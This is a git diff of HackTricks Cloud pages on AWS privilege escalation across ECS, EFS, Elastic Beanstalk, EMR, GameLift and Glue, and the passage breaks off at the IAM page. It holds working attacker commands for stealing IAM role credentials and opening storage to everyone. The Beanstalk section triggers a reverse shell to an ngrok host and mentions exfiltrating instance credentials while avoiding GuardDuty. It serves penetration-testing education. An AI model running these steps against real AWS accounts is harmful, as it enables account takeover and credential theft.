rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
index 793ce44c2..31eaefddb 100644
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
@@ -1,27 +1,14 @@
 # AWS - ECS Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## ECS
 
 More **info about ECS** in:
 
-{% content-ref url="../aws-services/aws-ecs-enum.md" %}
-[aws-ecs-enum.md](../aws-services/aws-ecs-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-ecs-enum.md
+{{#endref}}
 
 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
 
@@ -105,7 +92,6 @@ aws ecs update-service --cluster <CLUSTER NAME> \
 
 Actually, just with those permissions it's possible to use overrides to executer arbitrary commands in a container with an arbitrary role with something like:
 
-{% code overflow="wrap" %}
 ```bash
 aws ecs run-task \
     --task-definition "<task-name>" \
@@ -113,7 +99,6 @@ aws ecs run-task \
     --cluster <cluster-name> \
     --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
 ```
-{% endcode %}
 
 **Potential Impact:** Direct privesc to any ECS role.
 
@@ -123,9 +108,8 @@ This scenario is like the previous ones but **without** the **`iam:PassRole`** p
 This is still interesting because if you can run an arbitrary container, even if it's without a role, you could **run a privileged container to escape** to the node and **steal the EC2 IAM role** and the **other ECS containers roles** running in the node.\
 You could even **force other tasks to run inside the EC2 instance** you compromise to steal their credentials (as discussed in the [**Privesc to node section**](aws-ecs-privesc.md#privesc-to-node)).
 
-{% hint style="warning" %}
-This attack is only possible if the **ECS cluster is using EC2** instances and not Fargate.
-{% endhint %}
+> [!WARNING]
+> This attack is only possible if the **ECS cluster is using EC2** instances and not Fargate.
 
 ```bash
 printf '[
@@ -175,7 +159,7 @@ However, in order to do that, the container instance need to be running the **Ex
 
 Therefore, the attacker cloud try to:
 
-* **Try to run a command** in every running container
+- **Try to run a command** in every running container
 
 ```bash
 # List enableExecuteCommand on each task
@@ -195,10 +179,10 @@ aws ecs execute-command --interactive \
    --task "$TASK_ARN"
 ```
 
-* If he has **`ecs:RunTask`**, run a task with `aws ecs run-task --enable-execute-command [...]`
-* If he has **`ecs:StartTask`**, run a task with `aws ecs start-task --enable-execute-command [...]`
-* If he has **`ecs:CreateService`**, create a service with `aws ecs create-service --enable-execute-command [...]`
-* If he has **`ecs:UpdateService`**, update a service with `aws ecs update-service --enable-execute-command [...]`
+- If he has **`ecs:RunTask`**, run a task with `aws ecs run-task --enable-execute-command [...]`
+- If he has **`ecs:StartTask`**, run a task with `aws ecs start-task --enable-execute-command [...]`
+- If he has **`ecs:CreateService`**, create a service with `aws ecs create-service --enable-execute-command [...]`
+- If he has **`ecs:UpdateService`**, update a service with `aws ecs update-service --enable-execute-command [...]`
 
 You can find **examples of those options** in **previous ECS privesc sections**.
 
@@ -208,17 +192,17 @@ You can find **examples of those options** in **previous ECS privesc sections**.
 
 Check in the **ssm privesc page** how you can abuse this permission to **privesc to ECS**:
 
-{% content-ref url="aws-ssm-privesc.md" %}
-[aws-ssm-privesc.md](aws-ssm-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+aws-ssm-privesc.md
+{{#endref}}
 
 ### `iam:PassRole`, `ec2:RunInstances`
 
 Check in the **ec2 privesc page** how you can abuse these permissions to **privesc to ECS**:
 
-{% content-ref url="aws-ec2-privesc.md" %}
-[aws-ec2-privesc.md](aws-ec2-privesc.md)
-{% endcontent-ref %}
+{{#ref}}
+aws-ec2-privesc.md
+{{#endref}}
 
 ### `?ecs:RegisterContainerInstance`
 
@@ -226,9 +210,8 @@ TODO: Is it possible to register an instance from a different AWS account so tas
 
 ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
 
-{% hint style="info" %}
-TODO: Test this
-{% endhint %}
+> [!NOTE]
+> TODO: Test this
 
 An attacker with the permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, and `ecs:DescribeTaskSets` can **create a malicious task set for an existing ECS service and update the primary task set**. This allows the attacker to **execute arbitrary code within the service**.
 
@@ -262,19 +245,6 @@ aws ecs update-service-primary-task-set --cluster existing-cluster --service exi
 
 ## References
 
-* [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
+- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
similarity index 56%
rename from pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
index 566ce8d05..821263148 100644
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
@@ -1,27 +1,14 @@
 # AWS - EFS Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## EFS
 
 More **info about EFS** in:
 
-{% content-ref url="../aws-services/aws-efs-enum.md" %}
-[aws-efs-enum.md](../aws-services/aws-efs-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-efs-enum.md
+{{#endref}}
 
 Remember that in order to mount an EFS you need to be in a subnetwork where the EFS is exposed and have access to it (security groups). Is this is happening, by default, you will always be able to mount it, however, if it's protected by IAM policies you need to have the extra permissions mentioned here to access it.
 
@@ -42,7 +29,7 @@ To change it:
 aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json
 
 // Give everyone trying to mount it read, write and root access
-// policy.json: 
+// policy.json:
 {
     "Version": "2012-10-17",
     "Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
@@ -106,17 +93,4 @@ aws efs modify-mount-target-security-groups \
 
 **Potential Impact:** Indirect privesc by locating sensitive information in the file system.
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
similarity index 54%
rename from pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
index fc4a278bf..e974efeb9 100644
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
@@ -1,37 +1,22 @@
 # AWS - Elastic Beanstalk Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Elastic Beanstalk
 
 More **info about Elastic Beanstalk** in:
 
-{% content-ref url="../aws-services/aws-elastic-beanstalk-enum.md" %}
-[aws-elastic-beanstalk-enum.md](../aws-services/aws-elastic-beanstalk-enum.md)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-elastic-beanstalk-enum.md
+{{#endref}}
 
-{% hint style="warning" %}
-In order to perform sensitive actions in Beanstalk you will need to have a **lot of sensitive permissions in a lot of different services**. You can check for example the permissions given to **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**
-{% endhint %}
+> [!WARNING]
+> In order to perform sensitive actions in Beanstalk you will need to have a **lot of sensitive permissions in a lot of different services**. You can check for example the permissions given to **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**
 
 ### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions & many others
 
 With **write permissions over the S3 bucket** containing the **code** of the environment and permissions to **rebuild** the application (it's needed `elasticbeanstalk:RebuildEnvironment` and a few more related to `S3` , `EC2` and `Cloudformation`), you can **modify** the **code**, **rebuild** the app and the next time you access the app it will **execute your new code**, allowing the attacker to compromise the application and the IAM role credentials of it.
 
-{% code overflow="wrap" %}
 ```bash
 # Create folder
 mkdir elasticbeanstalk-eu-west-1-947247140022
@@ -46,62 +31,56 @@ aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247
 # Rebuild env
 aws elasticbeanstalk rebuild-environment --environment-name "env-name"
 ```
-{% endcode %}
 
 ### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, and more...
 
 The mentioned plus several **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** and **`elasticloadbalancing`** permissions are the necessary to create a raw Elastic Beanstalk scenario from scratch.
 
-* Create an AWS Elastic Beanstalk application:
+- Create an AWS Elastic Beanstalk application:
 
 ```bash
 aws elasticbeanstalk create-application --application-name MyApp
 ```
 
-* Create an AWS Elastic Beanstalk environment ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
+- Create an AWS Elastic Beanstalk environment ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
 
-{% code overflow="wrap" %}
 ```bash
 aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
 ```
-{% endcode %}
 
 If an environment is already created and you **don't want to create a new one**, you could just **update** the existent one.
 
-* Package your application code and dependencies into a ZIP file:
+- Package your application code and dependencies into a ZIP file:
 
 ```python
 zip -r MyApp.zip .
 ```
 
-* Upload the ZIP file to an S3 bucket:
+- Upload the ZIP file to an S3 bucket:
 
 ```python
 aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
 ```
 
-* Create an AWS Elastic Beanstalk application version:
+- Create an AWS Elastic Beanstalk application version:
 
-{% code overflow="wrap" %}
 ```css
 aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
 ```
-{% endcode %}
 
-* Deploy the application version to your AWS Elastic Beanstalk environment:
+- Deploy the application version to your AWS Elastic Beanstalk environment:
 
-{% code overflow="wrap" %}
 ```bash
 aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0
 ```
-{% endcode %}
 
 ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses`
 
 First of all you need to create a **legit Beanstalk environment** with the **code** you would like to run in the **victim** following the **previous steps**. Potentially a simple **zip** containing these **2 files**:
 
-{% tabs %}
-{% tab title="application.py" %}
+{{#tabs }}
+{{#tab name="application.py" }}
+
 ```python
 from flask import Flask, request, jsonify
 import subprocess,os, socket
@@ -133,9 +112,11 @@ def search():
 if __name__=="__main__":
     application.run()
 ```
-{% endtab %}
 
-{% tab title="requirements.txt" %}
+{{#endtab }}
+
+{{#tab name="requirements.txt" }}
+
 ```
 click==7.1.2
 Flask==1.1.2
@@ -144,47 +125,47 @@ Jinja2==2.11.3
 MarkupSafe==1.1.1
 Werkzeug==1.0.1
 ```
-{% endtab %}
-{% endtabs %}
+
+{{#endtab }}
+{{#endtabs }}
 
 Once you have **your own Beanstalk env running** your rev shell, it's time to **migrate** it to the **victims** env. To so so you need to **update the Bucket Policy** of your beanstalk S3 bucket so the **victim can access it** (Note that this will **open** the Bucket to **EVERYONE**):
 
 ```json
 {
-    "Version": "2008-10-17",
-    "Statement": [
-        {
-            "Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
-            "Effect": "Allow",
-            "Principal": {
-                "AWS": "*"
-            },
-            "Action": [
-                "s3:ListBucket",
-                "s3:ListBucketVersions",
-                "s3:GetObject",
-                "s3:GetObjectVersion",
-                "s3:*"
-            ],
-            "Resource": [
-                "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
-                "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
-            ]
-        },
-        {
-            "Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
-            "Effect": "Deny",
-            "Principal": {
-                "AWS": "*"
-            },
-            "Action": "s3:DeleteBucket",
-            "Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
-        }
-    ]
+  "Version": "2008-10-17",
+  "Statement": [
+    {
+      "Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
+      "Effect": "Allow",
+      "Principal": {
+        "AWS": "*"
+      },
+      "Action": [
+        "s3:ListBucket",
+        "s3:ListBucketVersions",
+        "s3:GetObject",
+        "s3:GetObjectVersion",
+        "s3:*"
+      ],
+      "Resource": [
+        "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
+        "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
+      ]
+    },
+    {
+      "Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
+      "Effect": "Deny",
+      "Principal": {
+        "AWS": "*"
+      },
+      "Action": "s3:DeleteBucket",
+      "Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
+    }
+  ]
 }
 ```
 
-{% code overflow="wrap" %}
 ```bash
 # Use a new --version-label
 # Use the bucket from your own account
@@ -196,23 +177,9 @@ aws elasticbeanstalk update-environment --environment-name MyEnv --version-label
 # To get your rev shell just access the exposed web URL with params such as:
 http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528
 
-Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance). 
+Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
 
-The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections. 
+The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
 ```
-{% endcode %}
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
new file mode 100644
index 000000000..c901b22ea
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
@@ -0,0 +1,64 @@
+# AWS - EMR Privesc
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## EMR
+
+More **info about EMR** in:
+
+{{#ref}}
+../aws-services/aws-emr-enum.md
+{{#endref}}
+
+### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
+
+An attacker with these permissions can **run a new EMR cluster attaching EC2 roles** and try to steal its credentials.\
+Note that in order to do this you would need to **know some ssh priv key imported in the account** or to import one, and be able to **open port 22 in the master node** (you might be able to do this with the attributes `EmrManagedMasterSecurityGroup` and/or `ServiceAccessSecurityGroup` inside `--ec2-attributes`).
+
+```bash
+# Import EC2 ssh key (you will need extra permissions for this)
+ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
+chmod 400 /tmp/sshkey
+base64 /tmp/sshkey.pub > /tmp/pub.key
+aws ec2 import-key-pair \
+    --key-name "privesc" \
+    --public-key-material file:///tmp/pub.key
+
+
+aws emr create-cluster \
+    --release-label emr-5.15.0 \
+    --instance-type m4.large \
+    --instance-count 1 \
+    --service-role EMR_DefaultRole \
+    --ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
+
+# Wait 1min and connect via ssh to an EC2 instance of the cluster)
+aws emr describe-cluster --cluster-id <id>
+# In MasterPublicDnsName you can find the DNS to connect to the master instance
+## You cna also get this info listing EC2 instances
+```
+
+Note how an **EMR role** is specified in `--service-role` and a **ec2 role** is specified in `--ec2-attributes` inside `InstanceProfile`. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role.
+
+**Potential Impact:** Privesc to the EC2 service role specified.
+
+### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole`
+
+With these permissions an attacker can go to the **AWS console**, create a Notebook and access it to steal the IAM Role.
+
+> [!CAUTION]
+> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related.
+
+**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
+
+### `elasticmapreduce:OpenEditorInConsole`
+
+Just with this permission an attacker will be able to access the **Jupyter Notebook and steal the IAM role** associated to it.\
+The URL of the notebook is `https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/`
+
+> [!CAUTION]
+> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related
+
+**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
new file mode 100644
index 000000000..5743a2663
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
@@ -0,0 +1,18 @@
+# AWS - Gamelift
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+### `gamelift:RequestUploadCredentials`
+
+With this permission an attacker can retrieve a **fresh set of credentials for use when uploading** a new set of game build files to Amazon GameLift's Amazon S3. It'll return **S3 upload credentials**.
+
+```bash
+aws gamelift request-upload-credentials \
+    --build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
+```
+
+## References
+
+- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
similarity index 60%
rename from pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
index 29164911d..d6cf29c3c 100644
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
@@ -1,19 +1,6 @@
 # AWS - Glue Privesc
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## glue
 
@@ -100,19 +87,6 @@ Just with the update permission an attacked could steal the IAM Credentials of t
 
 ## References
 
-* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
+- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
similarity index 69%
rename from pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
index bc19f1341..657a16a48 100644
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
